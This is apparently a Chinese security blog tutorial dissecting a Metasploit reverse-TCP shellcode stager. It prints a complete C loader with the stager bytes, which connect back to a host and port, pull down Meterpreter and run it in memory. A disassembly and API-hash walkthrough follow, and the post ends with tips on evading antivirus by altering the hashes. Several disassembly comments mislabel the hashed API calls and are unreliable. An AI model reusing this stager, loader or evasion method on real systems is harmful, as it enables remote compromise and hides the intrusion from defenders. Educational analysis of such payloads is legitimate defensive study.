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什么是shellcode

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这一大堆反斜杠加数字是一串msfvenom生成的shellcode,例如\x55代表两个十六进制数,它会被翻译成汇编语言,

例如:

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这里55被翻译成了push ebp

55这2个16进制转换成8位二进制,然后告诉CPU执行,CPU识别发现是代码就会执行push ebp

在 x86 汇编语言中,指令 push ebp 用于将基指针寄存器(EBP)的值压入堆栈。每条汇编指令都有对应的机器码(十六进制编码)。

对于 push ebp 指令,其对应的机器码(十六进制编码)是 0x55。

所以,push ebp 对应的十六进制数是 0x55。

无文件(内存马)和有文件

上面利用msfvenom生成的shellcode,被翻译成汇编语言后,可以直接在内存中运行.

可以直接在内存中运行,不依赖硬盘文件运行,我们称之为无文件运行.

比如上面生成的shellcode在成功运行后,我们在后续利用过程中可以做进程迁移,磁盘文件只是起到了一个触发作用,我们可以把这一段shellcode迁移到其他进程上,此时触发文件可以直接删除,不会对木马进程造成影响,除非关机,关机会清理内存(无文件!=进程迁移)

例如通过利用java漏洞或者apache,tomcat的漏洞写入的内存马

如果木马程序与磁盘中的文件关联我们需要依托文件运行,我们称之为有文件(程序运行时我们会无法删除文件,只有关闭进程才能删除文件)

当然这段shellcode只有在data段的时候,才会被CPU识别成是代码,才有机会运行

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shellcode在msf和cs中扮演了一个什么样的角色?

staged和stageless

shellcode--小马--只负责连接

meterprete--大马--真正包含功能模块,实现各项功能

小马第一次把大马拉上的时候,只加载了Core Commands中的功能

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实现其他功能就需要meterpreter再拉其他文件,反射DLL注入

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上面这种阶段化的过程我们称之为staged

如果我们的shellcode直接就是meterpreter,不需要小马拉大马

那么在实际使用中如何区分大马和小马?

我们以meterpreter中的windows相关的payload举例

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通过对比可以发现,第一张中名字和第二张的区别在于一个是'/'一个是'_'

通过这一区别我们可以区分shell_reverse_tcp和shell/reverse_tcp分别是stageless和staged类型

在Cobalt Strike中,如果选择生成的是payload generator,那么默认是staged的,分阶段

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如果直接选择生成可执行文件,windows executable如果不带s,就是分阶段的,带就是不分阶段的

再聊聊msf中payload名称的分类

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windows代表使用的操作系统平台,x64代表系统位数,vncinject代表监听端要做的具体操作(拿到会话后的操作工具),reverse代表反向连接,对方主动来连我们(bind代表正向,我们主动去连对方,不常用)tcp代表了连接方式,采用的什么通信协议,rc4代表加密方式,其他在rc4这个位置的通常代表一些加密方法或者其他特殊手段

shellcode实现的细节

#include <stdio.h>
#include<windows.h>
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x1f\x12\x68\x02"
"\x00\x09\x1d\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
void main()
{
    ((void(*)(void)) & buf)();
}
  • 包含头文件:

#include <stdio.h>:标准输入输出库头文件。 #include <windows.h>:Windows API 头文件。

  • 定义 Shellcode:

unsigned char buf[] = {...};:定义一个字符数组 buf,存储一段 Shellcode(十六进制字节码)。

  • 执行 Shellcode:

void main() { ((void(*)(void)) & buf)(); }:将 buf 的地址强制转换为一个函数指针,并调用它。这段代码的作用是直接执行 buf 中的 Shellcode。

Shellcode 分析:

1.初始设置:\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30

\xfc:清除方向标志。 \xe8\x8f\x00\x00\x00:调用下一条指令,获取当前地址。 \x60:保存所有通用寄存器。 \31\xd2:将 EDX 寄存器清零。 \x89\xe5:将 ESP 寄存器的值复制到 EBP。 \x64\x8b\x52\x30:从 FS 段寄存器读取 PEB 的地址。

2.PEB遍历:

\x8b\x52\x0c:获取 PEB 的 Ldr 地址。 \x8b\x52\x14:获取 Ldr.InMemoryOrderModuleList 链表的地址。

3.模块遍历和字符串比较:

\x31\xff\x0f\xb7\x4a\x26:遍历模块链表,查找特定模块(例如 kernel32.dll)。 \x8b\x72\x28:获取模块的基地址。

4.导出表解析:

\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20:解析模块的导出表,查找特定函数(如 LoadLibraryA 和 GetProcAddress)。 \xc1\xcf\x0d\x01\xc7\x49\x75\xef:继续遍历和比较导出函数名称。

5.函数调用:

\x52\x8b\x52\x10\x8b\x42\x3c:调用特定的 Windows API 函数,通常用于加载新的库或获取函数地址。 \x57\x01\xd0\x8b\x40\x78:准备调用 LoadLibraryA 或 GetProcAddress。 6.网络操作:

\x68\xc0\xa8\x1f\x12:设置 IP 地址(192.168.31.18)。 \x68\x02\x00\x09\x1d:设置端口(2333)。 \xff\xd5:执行网络操作,通常是创建网络连接。 7.清理和返回:

\x83\xf8\x00\x7e\x36:检查操作结果。 \xc3:函数返回。

以下是逐条解析后的汇编语言代码:

; Shellcode start
fc                      cld                         ; Clear direction flag
e8 8f 00 00 00          call 0x94                   ; Call to next instruction
60                      pusha                       ; Push all general-purpose registers onto stack
31 d2                   xor edx, edx                ; Zero out EDX
89 e5                   mov ebp, esp                ; Move ESP to EBP
64 8b 52 30             mov edx, fs:[edx+0x30]      ; Move PEB to EDX
8b 52 0c                mov edx, [edx+0xc]          ; Move PEB_LDR_DATA to EDX
8b 52 14                mov edx, [edx+0x14]         ; Move InMemoryOrderModuleList to EDX
31 ff                   xor edi, edi                ; Zero out EDI
0f b7 4a 26             movzx ecx, word [edx+0x26]  ; Move export table number of functions to ECX
8b 72 28                mov esi, [edx+0x28]         ; Move module base address to ESI
31 c0                   xor eax, eax                ; Zero out EAX
ac                      lodsb                       ; Load byte at DS:(E)SI into AL
3c 61                   cmp al, 0x61                ; Compare AL with 0x61
7c 02                   jl 0x36                     ; Jump if less
2c 20                   sub al, 0x20                ; Subtract 0x20 from AL
c1 cf 0d                ror edi, 0xd                ; Rotate right EDI by 13 bits
01 c7                   add edi, eax                ; Add EAX to EDI
49                      dec ecx                     ; Decrement ECX
75 ef                   jnz 0x21                    ; Jump if not zero
52                      push edx                    ; Push EDX
8b 52 10                mov edx, [edx+0x10]         ; Move module base address to EDX
8b 42 3c                mov eax, [edx+0x3c]         ; Move PE header to EAX
57                      push edi                    ; Push EDI
01 d0                   add eax, edx                ; Add EDX to EAX
8b 40 78                mov eax, [eax+0x78]         ; Move export directory to EAX
85 c0                   test eax, eax               ; Test EAX
74 4c                   je 0x94                     ; Jump if zero
01 d0                   add eax, edx                ; Add EDX to EAX
50                      push eax                    ; Push EAX
8b 58 20                mov ebx, [eax+0x20]         ; Move names to EBX
01 d3                   add ebx, edx                ; Add EDX to EBX
8b 48 18                mov ecx, [eax+0x18]         ; Move number of names to ECX
85 c9                   test ecx, ecx               ; Test ECX
74 3c                   je 0x96                     ; Jump if zero
31 ff                   xor edi, edi                ; Zero out EDI
49                      dec ecx                     ; Decrement ECX
8b 34 8b                mov esi, [ebx+ecx*4]        ; Move name pointer to ESI
01 d6                   add esi, edx                ; Add EDX to ESI
31 c0                   xor eax, eax                ; Zero out EAX
c1 cf 0d                ror edi, 0xd                ; Rotate right EDI by 13 bits
ac                      lodsb                       ; Load byte at DS:(E)SI into AL
01 c7                   add edi, eax                ; Add EAX to EDI
38 e0                   cmp al, ah                  ; Compare AL with AH
75 f4                   jnz 0x60                    ; Jump if not zero
03 7d f8                add edi, [ebp-0x8]          ; Add [EBP-8] to EDI
3b 7d 24                cmp edi, [ebp+0x24]         ; Compare EDI with [EBP+24]
75 e0                   jnz 0x44                    ; Jump if not zero
58                      pop eax                     ; Pop EAX
8b 58 24                mov ebx, [eax+0x24]         ; Move function pointer to EBX
01 d3                   add ebx, edx                ; Add EDX to EBX
66 8b 0c 4b             mov cx, [ebx+ecx*2]         ; Move ordinal to CX
8b 58 1c                mov ebx, [eax+0x1c]         ; Move address table to EBX
01 d3                   add ebx, edx                ; Add EDX to EBX
8b 04 8b                mov eax, [ebx+ecx*4]        ; Move function address to EAX
01 d0                   add eax, edx                ; Add EDX to EAX
89 44 24 24             mov [esp+0x24], eax         ; Move EAX to [ESP+24]
5b                      pop ebx                     ; Pop EBX
5b                      pop ebx                     ; Pop EBX
61                      popa                        ; Pop all general-purpose registers from stack
59                      pop ecx                     ; Pop ECX
5a                      pop edx                     ; Pop EDX
51                      push ecx                    ; Push ECX
ff e0                   jmp eax                     ; Jump to EAX
58                      pop eax                     ; Pop EAX
5f                      pop edi                     ; Pop EDI
5a                      pop edx                     ; Pop EDX
8b 12                   mov edx, [edx]              ; Move value at EDX to EDX
e9 80 ff ff ff          jmp 0x85                    ; Jump to 0x85

; LoadLibrary and GetProcAddress for user32.dll
5d                      pop ebp                     ; Pop EBP
68 33 32 00 00          push 0x3233                 ; Push 0x3233 ('23')
68 77 73 32 5f          push 0x5f327377             ; Push 'ws2_32'
54                      push esp                    ; Push ESP
68 4c 77 26 07          push 0x72674c               ; Push 'KERNEL32.DLL'
89 e8                   mov eax, esp                ; Move ESP to EAX
ff d0                   call eax                    ; Call EAX
b8 90 01 00 00          mov eax, 0x190              ; Move 0x190 to EAX
29 c4                   sub esp, eax                ; Subtract EAX from ESP
54                      push esp                    ; Push ESP
50                      push eax                    ; Push EAX
68 29 80 6b 00          push 0x6b8029               ; Push 'GetModuleHandleA'
ff d5                   call ebp                    ; Call EBP
6a 0a                   push 0xa                    ; Push 0xA
68 c0 a8 1f 12          push 0x121fa8c0             ; Push 192.168.31.18
68 02 00 09 1d          push 0x1d090002             ; Push 2333
89 e6                   mov esi, esp                ; Move ESP to ESI
50                      push eax                    ; Push EAX
50                      push eax                    ; Push EAX
50                      push eax                    ; Push EAX
50                      push eax                    ; Push EAX
40                      inc eax                     ; Increment EAX
50                      push eax                    ; Push EAX
40                      inc eax                     ; Increment EAX
50                      push eax                    ; Push EAX
68 ea 0f df e0          push 0xe0df0fea             ; Push 'InternetConnectA'
ff d5                   call ebp                    ; Call EBP
97                      xchg eax, edi               ; Exchange EAX and EDI
6a 10                   push 0x10                   ; Push 0x10
56                      push esi                    ; Push ESI
57                      push edi                    ; Push EDI
68 99 a5 74 61          push 0x6174a599             ; Push 'bind'
ff d5                   call ebp                    ; Call EBP
85 c0                   test eax, eax               ; Test EAX
74 0a                   je 0x3a                     ; Jump if zero
ff 4e 08                dec dword [esi+0x8]         ; Decrement dword at [ESI+8]
75 ec                   jnz 0x2f                    ; Jump if not zero
e8 67 00 00 00          call 0x6c                   ; Call 0x6c
6a 00                   push 0x0                    ; Push 0


msf源码:

https://github.com/rapid7/metasploit-framework/tree/master/external/source/shellcode/windows/x86/src/block

1.hash寻找api函数

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windows api函数都会写在dll文件中

为什么要hash寻找api函数?

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上面的代码做了什么?这里就和前面谈到无文件和有文件有关了,Windows平台下的可执行文件的格式,我们称之为PE(Portable Executable)文件结构。PE基础

PE表中有一个导入表,操作系统可以知道用文件调用了哪些windows api函数,函数地址就在其中

而无文件shellcode是没有PE结构的,也就无法去调用各种api,所以汇编代码中如果为了实现一些功能需要调用windows api,那么只能自行去寻找,这也是第一段shellcode实现的方法.

任何一个exe文件都会调用kernal32.dll,如果我们要调用的函数不在这个dll中,就需要利用kernal32.dll中的LoadLibrary函数去加载其他DLL文件.

例如LoadLibrary(user32.dll)

这里首先把需要的函数名字转换成一个hash值,

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然后通过一种方式去找函数,接下来是一个复杂的过程

需要通过遍历进程模块的方式去查找user32.dll的地址

具体就是做了下图所示的过程,teb和peb是两个结构体,teb中包含进程中运行线程的各种信息,每个线程都对应一个TEB结构体。

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在找到dll文件之后,就要读dll文件的PE结构(EXE文件与DLL文件的区别完全是语义上的。它们使用的是相同的PE格式。惟一的不同在于一个位,这个位用来指示文件应该作为EXE还是DLL。

前面找导入函数,这里通过dll的导出表找需要导出的函数

这里和前面一样采用hash的方法将函数名字变数字,然后遍历,匹配相同数字就能找到需要的函数

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上面整串代码相当于定义了一个函数

def hanshu(api函数名字)

2.建立一个tcp连接

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汇编代码:

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这里汇编上来做了一个call ebp

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其实就是将前面第一部分的所做的事调用过来,所以上面的内容可以这么理解:def hanshu(api函数名字)---->def ebp(0x0726774c),最后加载了一个ws2_32.dll文件.

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接下来是差不多的操作

找到ws2_32.dll中的WSAStartup函数,然后调用了这个函数WSAStartup()

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这个函数会直接通过操作系统的驱动告诉网卡准备网络连接

接下来是设置基本参数开始连接

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这里WSASocketA中AF_INET代表IPV4,push进去的eax值是2(如果eax是23那就是IPV6)

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SOCKET_STREAM代表TCP连接

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IP地址和端口号

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其中IP地址转16进制是小端序读取

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这里可以ollydbg调试一下看看返回的IP地址,分析一下

然后就是连接

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connect()中s就是前面WSASocketA(),&sockaddr是前面set_address一段中的参数,包括ip地址和端口号信息的整个结构体的指针,16是sockaddr这个结构体的长度

3.将连接接收到的东西放在内存中

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前面的看完到这里也不是很难理解了

在连接上后,就需要调用meterpreter的功能,所以需要接收

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因为meterpreter的数据不是一个文件,而是一串二进制数据,所以需要申请一块空间地址存放数据然后运行

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接收以后,就需要不断接收不断读取,然后return的方式直接对程序进行执行

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此时如果在ret出打断点,也可以看到meterpreter的代码

以上是msf的shellcode功能实现剖析,因为msf的裸马很容易被杀,所以可以参照上面的过程用C++自行编写,一样可以达到免杀的目的(代码就不沾了,试了试可以过火绒)

这一章学习了一些基本的知识,也学到了一种静态免杀的方法,通过修改hash值的方式,感兴趣的师傅可以研究下,这里不做赘述了,我自己尝试了下使用这个方法,然后二分法定位被查杀段再结合花指令是可以绕过杀软检测的

https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection

工具:

https://github.com/embee-research/APIHashReplace